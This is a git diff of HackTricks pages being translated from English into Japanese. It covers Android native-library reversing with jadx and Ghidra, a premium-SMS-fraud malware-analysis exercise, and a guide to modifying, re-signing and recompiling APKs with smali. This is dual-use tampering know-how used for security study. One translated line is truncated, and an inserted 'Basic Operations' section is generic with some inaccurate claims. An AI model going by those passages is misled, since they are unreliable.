ネイティブメソッドが呼び出されたときに実行されるネイティブライブラリ内の関数のアドレス(または名前)を特定する -1. Identify declared native methods in the DEX bytecode -2. Determine what native libraries are loaded (and thus where the native methods may be implemented) -3. Extract the native library from the APK -4. Load the native library into a disassembler -5. Identify the address (or name) of the function in the native library that is executed when the native method is called +**手順** -**Instructions** +1. jadxでMediacode.apkを開きます。[Exercise #1](https://maddiestone.github.io/AndroidAppRE/reversing_intro.html#exercise-1---beginning-re-with-jadx)を参照してください。 +2. 今回は、リソースタブを展開すると、このAPKには`lib/`ディレクトリがあることがわかります。このAPKのネイティブライブラリはデフォルトのCPUパスにあります。 +3. 宣言されたネイティブメソッドを特定します。jadxで検索し、宣言されたネイティブメソッドをリストアップします。2つあるはずです。 +4. 宣言されたネイティブメソッドの周りを見て、ネイティブライブラリがどこかでロードされているかどうかを確認します。これにより、実装される関数を探すためのガイダンスが得られます。 +5. 新しいディレクトリを作成し、APKをそのフォルダにコピーしてネイティブライブラリをAPKから抽出します。次に、`unzip Mediacode.APK`コマンドを実行します。APKから抽出されたすべてのファイル(`lib/`ディレクトリを含む)が表示されます。 +6. 分析したいネイティブライブラリのアーキテクチャを選択します。 +7. `ghidraRun`を実行してghidraを起動します。これにより、Ghidraが開きます。 +8. 分析のためにネイティブライブラリを開くには、「新しいプロジェクト」、「非共有プロジェクト」を選択し、プロジェクトを保存するパスを選択し、名前を付けます。これにより、バイナリファイルをロードできるプロジェクトが作成されます。 +9. プロジェクトを作成したら、コードブラウザを開くためにドラゴンアイコンを選択します。次に、「ファイル」>「ファイルのインポート」を選択してネイティブライブラリをツールにロードします。すべてのデフォルトのままで構いません。 +10. 以下の画面が表示されます。[解析]を選択します。 +11. 上記のリンク情報を使用して、Javaで宣言されたネイティブメソッドが呼び出されたときに実行されるネイティブライブラリ内の関数を特定します。 -1. Open Mediacode.apk in jadx. Refer back to [Exercise #1](https://maddiestone.github.io/AndroidAppRE/reversing_intro.html#exercise-1---beginning-re-with-jadx) -2. This time, if you expand the Resources tab, you will see that this APK has a `lib/` directory. The native libraries for this APK are in the default CPU paths. -3. Now we need to identify any declared native methods. In jadx, search and list all declared native methods. There should be two. -4. Around the declared native method, see if there is anywhere that a native library is loaded. This will provide guidance of what native library to look in for the function to be implemented. -5. Extract the native library from the APK by creating a new dir and copying the APK into that folder. Then run the command `unzip Mediacode.APK`. You will see all of the files extracted from APK, which includes the `lib/` directory. -6. Select the architecture of the native library you’d like to analyze. -7. Start ghidra by running `ghidraRun`. This will open Ghidra. -8. To open the native library for analysis, select “New Project”, “Non-Shared Project”, select a path to save the project to and give it a name. This creates a project that you can then load binary files into. -9. Once you’ve created your project, select the dragon icon to open the Code Browser. The go to “File” > “Import File” to load the native library into the tool. You can leave all defaults. -10. You will see the following screen. Select “Analyze”. -11. Using the linking information above, identify the function in the native library that is executed when the Java-declared native method is called. +![Ghidra Code Browserにファイルをロードする](https://maddiestone.github.io/AndroidAppRE/images/loadingIntoGhidra.png) -![Loading file into Ghidra Code Browser](https://maddiestone.github.io/AndroidAppRE/images/loadingIntoGhidra.png) +![jadxで開いたMediacodeのスクリーンショット](https://maddiestone.github.io/AndroidAppRE/images/Mediacode.InJadx.png) -![Screenshot of Mediacode open in jadx](https://maddiestone.github.io/AndroidAppRE/images/Mediacode.InJadx.png) +**解決策** -**Solution** +## Androidネイティブライブラリのコードをリバースエンジニアリングする - JNIEnv -## Reversing Android Native Libraries Code - JNIEnv +Androidネイティブライブラリをリバースエンジニアリングする際に、私が知る必要があると思わなかったことの1つは、`JNIEnv`についてでした。`JNIEnv`は、[JNI関数](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html)への関数ポインタの構造体です。AndroidネイティブライブラリのすべてのJNI関数は、最初の引数として`JNIEnv*`を取ります。 -When beginning to reverse engineer Android native libraries, one of the things I didn’t know I needed to know, was about `JNIEnv`. `JNIEnv` is a struct of function pointers to [JNI Functions](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html). Every JNI function in Android native libraries, takes `JNIEnv*` as the first argument. +Androidの[JNIのヒント](https://developer.android.com/training/articles/perf-jni)ドキュメントによると: -From the Android [JNI Tips](https://developer.android.com/training/articles/perf-jni) documentation: +> JNIEnvとJavaVMのCの宣言は、C++の宣言とは異なります。 "jni.h"のインクルードファイルは、CまたはC++に含まれるかどうかに応じて異なるtypedefを提供します。そのため、ヘッダファイルにJNIEnv引数を含めるのは良くありません。両方の言語で含まれるヘッダファイルに\__cplusplusの#ifdefが必要な場合は、そのヘッダ内の何かがJNIEnvを参照している場合、いくつかの追加作業が必要になるかもしれません。 -> The C declarations of JNIEnv and JavaVM are different from the C++ declarations. The “jni.h” include file provides different typedefs depending on whether it’s included into C or C++. For this reason it’s a bad idea to include JNIEnv arguments in header files included by both languages. (Put another way: if your header file requires #ifdef \__cplusplus, you may have to do some extra work if anything in that header refers to JNIEnv.) - -Here are some commonly used functions (and their offsets in JNIEnv): +以下は一部のよく使用される関数(およびJNIEnv内のオフセット)です。 * JNIEnv + 0x18: jclass (\*FindClass)(JNIEnv_, const char_); * JNIEnv + 0x34: jint (\*Throw)(JNIEnv\*, jthrowable); @@ -244,73 +213,64 @@ Here are some commonly used functions (and their offsets in JNIEnv): * JNIEnv + 0x28C: jstring (\*NewString)(JNIEnv_, const jchar_, jsize); * JNIEnv + 0x35C: jint (\*RegisterNatives)(JNIEnv_, jclass, const JNINativeMethod_, jint); -When analyzing Android native libraries, the presence of JNIEnv means that: +Androidネイティブライブラリを分析する際に、JNIEnvの存在は次のことを意味します。 -1. For JNI native functions, the arguments will be shifted by 2. The first argument is always JNIEnv\*. The second argument will be the object that the function should be run on. For static native methods (they have the static keyword in the Java declaration) this will be NULL. -2. You will often see indirect branches in the disassembly because the code is adding the offset to the JNIEnv\* pointer, dereferencing to get the function pointer at that location, then branching to the function. +1. JNIネイティブ関数の場合、引数は2つずつシフトされます。最初の引数は常にJNIEnv\*です。2番目の引数は、関数が実行されるべきオブジェクトです。静的なネイティブメソッド(Javaの宣言にstaticキーワードがある)の場合、これはNULLになります。 +2. ディスアセンブリには間接分岐が頻繁に表示されます。これは、コードがJNIEnv\*ポインタにオフセットを追加し、その場所の関数ポインタを参照し、関数に分岐するためです。 -Here is a [spreadsheet](https://docs.google.com/spreadsheets/d/1yqjFaY7mqyVIDs5jNjGLT-G8pUaRATzHWGFUgpdJRq8/edit?usp=sharing) of the C-implementation of the JNIEnv struct to know what function pointers are at the different offsets. +以下は、JNIEnv構造体のC実装の[スプレッドシート](https://docs.google.com/spreadsheets/d/1yqjFaY7mqyVIDs5jNjGLT-G8pUaRATzHWGFUgpdJRq8/edit?usp=sharing)です。異なるオフセットにある関数ポインタを知るためのものです。 -In practice, in the disassembly this shows as many different branches to indirect addresses rather than the direct function call. The image below shows one of these indirect function calls. The highlighted line in the disassembly shows a `blx r3`. As reversers, we need to figure out what r3 is. It’s not shown in the screenshot, but at the beginning of this function, `r0` was moved into `r5`. Therefore, `r5` is `JNIEnv*`. On line 0x12498 we see `r3 = [r5]`. Now `r3` is `JNIEnv` (no \*). +実 +幸いなことに、これを手動で行う必要なく、JNI関数を取得する方法があります!GhidraとIDA Proの両方のデコンパイラでは、JNI関数の最初の引数を`JNIEnv *`型に再入力すると、自動的に呼び出されるJNI関数を識別します。IDA Proでは、これはそのまま機能します。Ghidraでは、最初にJNIの型(jni.hファイルまたはjni.hファイルのGhidraデータタイプアーカイブ)をロードする必要があります。簡単にするために、Ayrxによって作成され、[ここ](https://github.com/Ayrx/JNIAnalyzer/blob/master/JNIAnalyzer/data/jni_all.gdt)で利用可能なGhidra Data Typesアーカイブ(gdt)からJNIの型をロードします。簡単のため、このファイルはVMの`~/jni_all.gdt`にあります。 -On line 0x1249e, we add 0x18 to `r3` and dereference it. This means that `r3` now equals whatever function pointer is at offset 0x18 in JNIEnv. We can find out by looking at the spreadsheet. `[JNIEnv + 0x18] = Pointer to the FindClass method` +Ghidraで使用するためにこれをロードするには、データタイプマネージャーウィンドウで、右下隅の矢印をクリックして「Open File Archive」を選択します。 -Therefore `blx r3` on line 0x124a4 is calling `FindClass`. We can look up information about `FindClass` (and all the other functions in JNIEnv) in the JNIFunctions documentation [here](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html). +![Open File Archiveメニューのスクリーンショット](https://maddiestone.github.io/AndroidAppRE/images/OpenArchive.png) -![Screenshot of Disassembly Calling a function from JNIEnv](https://maddiestone.github.io/AndroidAppRE/images/JNIcall.png) +次に、`jni_all.gdt`ファイルを選択してロードします。ロードされると、以下のようにデータタイプマネージャーリストにjni_allが表示されます。 -Thankfully, there’s a way to get the JNI function without doing all of this manually! In both the Ghidra and IDA Pro decompilers you can re-type the first argument in JNI functions to `JNIEnv *` type and it will automatically identify the JNI Functions being called. In IDA Pro, this work out of the box. In Ghidra, you have to load the JNI types (either the jni.h file or a Ghidra Data Types archive of the jni.h file) first. For ease, we will load the JNI types from the Ghidra Data Types archive (gdt) produced by Ayrx and available [here](https://github.com/Ayrx/JNIAnalyzer/blob/master/JNIAnalyzer/data/jni_all.gdt). For ease, this file is available in the VM at `~/jni_all.gdt`. +![データタイプマネージャーにロードされたjni_allのスクリーンショット](https://maddiestone.github.io/AndroidAppRE/images/LoadedInDataTypeManager.png) -To load it for use in Ghidra, in the Data Type Manager Window, click on the down arrow in the right-hand corner and select “Open File Archive”. +これがGhidraでロードされたら、デコンパイラで任意の引数の型を選択し、「Retype Variable」を選択します。新しい型をJNIEnv \*に設定します。これにより、デコンパイラはポインタからのオフセットではなく、呼び出されるJNIFunctionsの名前を表示するようになります。 -![Screenshot of Open File Archive Menu](https://maddiestone.github.io/AndroidAppRE/images/OpenArchive.png) +![引数がJNIEnv\*に再入力された後のJNI関数名のスクリーンショット](https://maddiestone.github.io/AndroidAppRE/images/RetypedToJNIEnv.png) -Then select `jni_all.gdt` file to load. Once it’s loaded, you should see jni_all in the Data Type Manager List as shown below. +### Exercise #6 - ネイティブ関数を見つけてリバースエンジニアリングする -![Screenshot of jni_all Loaded in Data Type Manager](https://maddiestone.github.io/AndroidAppRE/images/LoadedInDataTypeManager.png) +これまでのスキルを組み合わせて、REの起点を特定し、DEXをリバースエンジニアリングし、ネイティブコードをリバースエンジニアリングして、有害な動作をネイティブコードに移動した可能性のあるアプリケーションを分析します。サンプルは`~/samples/HDWallpaper.apk`です。 -Once this is loaded in Ghidra, you can then select any argument types in the decompiler and select “Retype Variable”. Set the new type to JNIEnv \*. This will cause the decompiler to now show the names of the JNIFunctions called rather than the offsets from the pointer. +**目標** -![Screenshot of JNI Function names after the argument was Re-Typed to JNIEnv\* ](https://maddiestone.github.io/AndroidAppRE/images/RetypedToJNIEnv.png) +この演習の目標は、Androidのリバースエンジニアリングのスキルをすべて組み合わせて、アプリケーション全体(DEXとネイティブコード)を分析することです。 -### Exercise #6 - Find and Reverse the Native Function +**演習のコンテキスト** -We are going to point all of our previous skills together: identifying starting points for RE, reversing DEX, and reversing native code to analyze an application that may have moved its harmful behaviors in native code. The sample is `~/samples/HDWallpaper.apk`. +あなたはAndroidアプリケーションのマルウェアアナリストです。このサンプルがプレミアムSMS詐欺を行っている可能性があることに懸念を抱いています。つまり、ユーザーの同意や開示なしにプレミアム電話番号にSMSを送信している可能性があります。マルウェアとしてフラグを立てるために、Androidアプリケーションが以下の条件を満たしているかどうかを判断する必要があります。 -**Goal** +1. SMSメッセージを送信しているかどうか、および +2. そのSMSメッセージがプレミアム番号に送信されているかどうか、および +3. 明白な開示があるかどうか、および +4. ユーザーの同意後にのみプレミアム番号にSMSメッセージが送信されているかどうか。 -The goal of this exercise is to put all of our Android reversing skills together to analyze an app as a whole: its DEX and native code. +**手順** -**Exercise Context** +進んでリバースエンジニアリングを行ってください! -You are a malware analyst for Android applications. You are concerned that this sample maybe doing premium SMS fraud, meaning that it sends an SMS to a premium phone number without disclosure & user consent. In order to flag as malware, you need to determine if the Android application is: - -1. Sending an SMS message, and -2. That SMS message is going to a premium number, and -3. If there is an obvious disclosure, and -4. If the SMS message is only sent to the premium number after user consent. - -**Instructions** - -Go on and reverse! - -**Solution** +**解決策**
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
- - diff --git a/mobile-pentesting/android-app-pentesting/smali-changes.md b/mobile-pentesting/android-app-pentesting/smali-changes.md index 4d32a2064..0d008bf49 100644 --- a/mobile-pentesting/android-app-pentesting/smali-changes.md +++ b/mobile-pentesting/android-app-pentesting/smali-changes.md @@ -1,128 +1,111 @@ -# Smali - Decompiling/\[Modifying]/Compiling +# Smali - デコンパイル/修正/コンパイル
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-Sometimes it is interesting to modify the application code to access hidden information for you (maybe well obfuscated passwords or flags). Then, it could be interesting to decompile the apk, modify the code and recompile it. +アプリケーションコードを変更して、隠された情報にアクセスすることは、時に興味深いことです(おそらくよく難読化されたパスワードやフラグなど)。そのため、apkをデコンパイルしてコードを変更し、再コンパイルすることが興味深いかもしれません。 -**Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html) +**オペコードリファレンス:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html) -## Fast Way +## 早い方法 -Using **Visual Studio Code** and the [APKLab](https://github.com/APKLab/APKLab) extension, you can **automatically decompile**, modify, **recompile**, sign & install the application without executing any command. +**Visual Studio Code**と[APKLab](https://github.com/APKLab/APKLab)拡張機能を使用すると、コマンドを実行せずにアプリケーションを**自動的にデコンパイル**、修正、**再コンパイル**、署名してインストールすることができます。 -Another **script** that facilitates this task a lot is [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)**** +このタスクを大幅に簡略化する**スクリプト**もあります。[**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)**** -## Decompile the APK - -Using APKTool you can access to the **smali code and resources**: +## APKをデコンパイルする +APKToolを使用すると、**smaliコードとリソース**にアクセスできます: ``` apktool d APP.apk ``` +**apktool**にエラーが発生した場合は、[**最新バージョン**](https://ibotpeaches.github.io/Apktool/install/)をインストールしてみてください。 -If **apktool** gives you any error, try[ installing the **latest version**](https://ibotpeaches.github.io/Apktool/install/) +調査すべき**興味深いファイル**は次のとおりです: -Some **interesting files you should look are**: - -* _res/values/strings.xml_ (and all xmls inside res/values/\*) +* _res/values/strings.xml_(およびres/values/\*内のすべてのxml) * _AndroidManifest.xml_ -* Any file with extension _.sqlite_ or _.db_ +* 拡張子が_.sqlite_または_.db_の任意のファイル -If `apktool` has **problems decoding the application** take a look to [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) or try using the argument **`-r`** (Do not decode resources). Then, if the problem was in a resource and not in the source code, you won't have the problem (you won't also decompile the resources). +もし`apktool`がアプリケーションの**デコードに問題がある**場合は、[https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files)を参照するか、引数**`-r`**(リソースをデコードしない)を使用してみてください。その後、問題がソースコードではなくリソースにある場合、問題は発生しなくなります(リソースも逆コンパイルされません)。 -## Change smali code +## Smaliコードの変更 -You can **change** **instructions**, change the **value** of some variables or **add** new instructions. I change the Smali code using [**VS Code**](https://code.visualstudio.com), you then install the **smalise extension** and the editor will tell you if any **instruction is incorrect**.\ -Some **examples** can be found here: +**命令を変更**したり、一部の変数の**値を変更**したり、新しい命令を**追加**することができます。私は[**VS Code**](https://code.visualstudio.com)を使用してSmaliコードを変更します。その後、**smalise拡張機能**をインストールし、エディタが**不正な命令**を教えてくれます。\ +いくつかの**例**はこちらで確認できます: -* [Smali changes examples](smali-changes.md) +* [Smaliの変更の例](smali-changes.md) * [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md) -Or you can [**check below some Smali changes explained**](smali-changes.md#modifying-smali). +または、[**以下のSmaliの変更の説明**](smali-changes.md#modifying-smali)をご確認ください。 -## Recompile the APK - -After modifying the code you can **recompile** the code using: +## APKの再コンパイル +コードを変更した後、次のコマンドを使用してコードを**再コンパイル**できます: ```bash apktool b . #In the folder generated when you decompiled the application ``` +新しいAPKを**dist**フォルダーの**中で**コンパイルします。 -It will **compile** the new APK **inside** the _**dist**_ folder. +もし**apktool**が**エラー**を出した場合は、[**最新バージョン**](https://ibotpeaches.github.io/Apktool/install/)をインストールしてみてください。 -If **apktool** throws an **error**, try[ installing the **latest version**](https://ibotpeaches.github.io/Apktool/install/) - -### **Sing the new APK** - -Then, you need to **generate a key** (you will be asked for a password and for some information that you can fill randomly): +### **新しいAPKに署名する** +次に、**キーを生成**する必要があります(パスワードといくつかの情報が求められますが、ランダムに入力しても構いません)。 ```bash keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias ``` - -Finally, **sign** the new APK: - +最後に、新しいAPKに**署名**してください: ```bash jarsigner -keystore key.jks path/to/dist/* ``` +### 新しいアプリケーションの最適化 -### Optimize new application - -**zipalign** is an archive alignment tool that provides important optimisation to Android application (APK) files. [More information here](https://developer.android.com/studio/command-line/zipalign). - +**zipalign**は、Androidアプリケーション(APK)ファイルに重要な最適化を提供するアーカイブの整列ツールです。[詳細はこちら](https://developer.android.com/studio/command-line/zipalign)。 ```bash zipalign [-f] [-v] infile.apk outfile.apk zipalign -v 4 infile.apk ``` +### **新しいAPKに署名する(再度?)** -### **Sign the new APK (again?)** - -If you **prefer** to use \[**apksigner**]\([**https://developer.android.com/studio/command-line/apksigner**](https://developer.android.com/studio/command-line/apksigner))\*\* instead of jarsigner, **you should sing the apk** after applying **the optimization with** zipaling\*\*. BUT NOTICE THAT\*\* YOU ONLY HAVE TO SIGN THE APPLCIATION ONCE\*\* WITH jarsigner (before zipalign) OR WITH aspsigner(after zipaling). - +\[**apksigner**]\([**https://developer.android.com/studio/command-line/apksigner**](https://developer.android.com/studio/command-line/apksigner))\*\*を使用することを**好む場合**、zipaling\*\*を適用した後にAPKに署名する必要があります。ただし、注意してください。APKはjarsigner(zipalignの前)またはaspsigner(zipalingの後)で**一度だけ**署名する必要があります。 ```bash apksigner sign --ks key.jks ./dist/mycompiled.apk ``` +## Smaliの変更 -## Modifying Smali - -For the following Hello World Java code: - +以下のHello World Javaコードに対して: ``` public static void printHelloWorld() { - System.out.println("Hello World") +System.out.println("Hello World") } ``` - -The Smali code would be: - +Smaliコードは次のようになります: ``` .method public static printHelloWorld()V - .registers 2 - sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream; - const-string v1, "Hello World" - invoke-virtual {v0,v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V - return-void +.registers 2 +sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream; +const-string v1, "Hello World" +invoke-virtual {v0,v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V +return-void .end method ``` +Smali命令セットは[こちら](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions)で利用可能です。 -The Smali instruction set is available [here](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions). +### 軽微な変更 -### Light Changes - -### Modify initial values of a variable inside a function - -Some variables are defined at the beginning of the function using the opcode _const_, you can modify its values, or you can define new ones: +### 関数内の変数の初期値を変更する +一部の変数は、関数の最初に_opcode_ _const_を使用して定義されます。これらの値を変更することができます。または、新しい変数を定義することもできます。 ``` #Number const v9, 0xf4240 @@ -130,9 +113,25 @@ const/4 v8, 0x1 #Strings const-string v5, "wins" ``` +### 基本的な操作 -### Basic Operations +#### Smaliファイルの変更 +Smaliファイルは、Androidアプリのバイナリコードを表すテキストファイルです。Smaliファイルを変更することで、アプリの動作をカスタマイズすることができます。 + +以下は、Smaliファイルの変更に関する基本的な操作です。 + +- ファイルの開き方: Smaliファイルはテキストファイルなので、テキストエディタで開くことができます。おすすめのテキストエディタは、Sublime TextやNotepad++です。 + +- 変数の変更: Smaliファイルでは、変数の値を直接変更することができます。変数の値を変更するには、該当する行を見つけて値を書き換えます。 + +- メソッドの変更: Smaliファイルでは、メソッドの実装を変更することができます。メソッドの実装を変更するには、該当するメソッドのコードを編集します。 + +- クラスの変更: Smaliファイルでは、クラスの実装を変更することができます。クラスの実装を変更するには、該当するクラスのコードを編集します。 + +- リソースの変更: Smaliファイルでは、アプリのリソースを変更することができます。リソースの変更には、リソースファイルを編集する必要があります。 + +これらの基本的な操作を使って、Smaliファイルを変更してアプリの動作をカスタマイズすることができます。ただし、注意が必要です。Smaliファイルの変更は、アプリの動作に影響を与える可能性があるため、慎重に行う必要があります。 ``` #Math add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0 @@ -155,11 +154,9 @@ iput v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Save v0 inside if-ne v0, v9, :goto_6 #If not equals, go to: :goto_6 goto :goto_6 #Always go to: :goto_6 ``` +### 大きな変更 -### Bigger Changes - -### Logging - +### ロギング ``` #Log win: iget v5, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Get this.o inside v5 @@ -168,21 +165,19 @@ move-result-object v1 #Move to v1 const-string v5, "wins" #Save "win" inside v5 invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I #Logging "Wins: " ``` +推奨事項: -Recommendations: +* 関数内で宣言された変数(v0、v1、v2など)を使用する場合は、これらの行を _.local \_ と変数の宣言(_const v0, 0x1_)の間に配置してください。 +* 関数のコードの途中にログ出力コードを配置する場合: +* 宣言された変数の数に2を追加してください。例:_.locals 10_ から _.locals 12_ に変更します。 +* 新しい変数は、既に宣言された変数の次の番号である必要があります(この例では _v10_ と _v11_ になります。v0から始まることを忘れないでください)。 +* ログ出力関数のコードを変更し、_v5_ と _v1_ の代わりに _v10_ と _v11_ を使用してください。 -* If you are going to use declared variables inside the function (declared v0,v1,v2...) put these lines between the _.local \_ and the declarations of the variables (_const v0, 0x1_) -* If you want to put the logging code in the middle of the code of a function: - * Add 2 to the number of declared variables: Ex: from _.locals 10_ to _.locals 12_ - * The new variables should be the next numbers of the already declared variables (in this example should be _v10_ and _v11_, remember that it starts in v0). - * Change the code of the logging function and use _v10_ and _v11_ instead of _v5_ and _v1_. +### トースティング -### Toasting - -Remember to add 3 to the number of _.locals_ at the beginning of the function. - -This code is prepared to be inserted in the **middle of a function** (**change** the number of the **variables** as necessary). It will take the **value of this.o**, **transform** it to **String** and them **make** a **toast** with its value. +関数の先頭で _.locals_ の数に3を追加することを忘れないでください。 +このコードは、**関数の途中に挿入するために準備されています**(必要に応じて**変数の数**を**変更**してください)。これは、**this.o** の値を**String**に変換し、その値で**トースト**を作成します。 ``` const/4 v10, 0x1 const/4 v11, 0x1 @@ -194,15 +189,14 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/ move-result-object v12 invoke-virtual {v12}, Landroid/widget/Toast;->show()V ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか**?または、**PEASSの最新バージョンにアクセスしたいですか**、または**HackTricksをPDFでダウンロードしたいですか**?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを! +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう! +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
